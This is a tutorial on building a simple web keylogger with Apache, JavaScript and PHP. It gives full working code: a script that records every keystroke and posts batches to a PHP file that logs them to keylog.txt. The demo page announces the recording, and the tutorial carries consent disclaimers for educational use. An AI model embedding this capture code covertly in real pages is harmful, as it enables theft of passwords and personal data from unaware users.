How to Build a Simple Web-Based Keylogger with Apache, JavaScript, and PHP

Keyloggers are applications that record user keystrokes on a computer or mobile device, often used for collecting personal information such as passwords.

Note: Installing a keylogger without the owner's consent is illegal; use only for legitimate purposes such as security testing or education.

Install Apache Web Server

To host a basic HTML page, install Apache if it is not already present:

<code>sudo apt install apache2</code>

Then change the directory to the Apache web root:

<code>cd /var/www/html</code>

This is where the website files will be placed.

Create a Basic HTML Page

Use the Nano editor to create a simple HTML file:

<code>nano index.html</code>

Paste the following code into the file:

<code>&lt;!DOCTYPE html&gt;
&lt;html&gt;
  &lt;head&gt;
    &lt;title&gt;Keylogger&lt;/title&gt;
    &lt;meta charset="utf-8"&gt;
    &lt;style&gt;
      textarea {
        width: 40%;
        height: 200px;
        font-size: 18px;
      }
    &lt;/style&gt;
    &lt;script src="keylog.js"&gt;&lt;/script&gt;
  &lt;/head&gt;
  &lt;body&gt;
    &lt;h1&gt;Everything you type will be recorded!&lt;/h1&gt;
    &lt;textarea&gt;&lt;/textarea&gt;
  &lt;/body&gt;
&lt;/html&gt;
</code>

This page includes a title, a textarea element, and a reference to an external JavaScript file keylog.js that will handle the keylogging.

Create the Keylogger JavaScript File

Create keylog.js with the following content:

<code>var keylog = {
  // settings
  cache: [], // temporary key storage
  delay: 1000, // send interval in ms
  sending: false, // lock flag

  // initialization
  init: () => {
    // capture keystrokes
    window.addEventListener("keydown", evt => keylog.cache.push(evt.key));

    // send keystrokes periodically
    window.setInterval(keylog.send, keylog.delay);
  },

  // AJAX send
  send: () => {
    if (!keylog.sending && keylog.cache.length != 0) {
      keylog.sending = true;
      var data = new FormData();
      data.append("keys", JSON.stringify(keylog.cache));
      keylog.cache = [];

      fetch("keylog.php", { method: "POST", body: data })
        .then(res => res.text())
        .then(res => {
          keylog.sending = false;
          console.log(res);
        })
        .catch(err => console.error(err));
    }
  }
};
window.addEventListener("DOMContentLoaded", keylog.init);
</code>

This script captures keystrokes, buffers them, and sends them to keylog.php at regular intervals.

Create the Server‑Side PHP Script

Create keylog.php with the following code:

<code>&lt;?php
// (A) Open the log file in append mode
$file = fopen("keylog.txt", "a+");

// (B) Save the posted keys
$keys = json_decode($_POST["keys"]);
foreach ($keys as $k => $v) {
  fwrite($file, $v . PHP_EOL);
}

// (C) Close the file
fclose($file);
echo "OK";
?&gt;
</code>

The script opens keylog.txt , decodes the JSON payload, writes each key to the file, and closes the file.

After placing index.html , keylog.js , keylog.php , and keylog.txt in /var/www/html , list them with:

<code>ls /var/www/html</code>

Restart Apache:

<code>service apache2 restart</code>

Access the page via the local IP, type into the textarea, and verify that the keystrokes appear in keylog.txt .

Remember that using a keylogger without explicit user consent is illegal and unethical.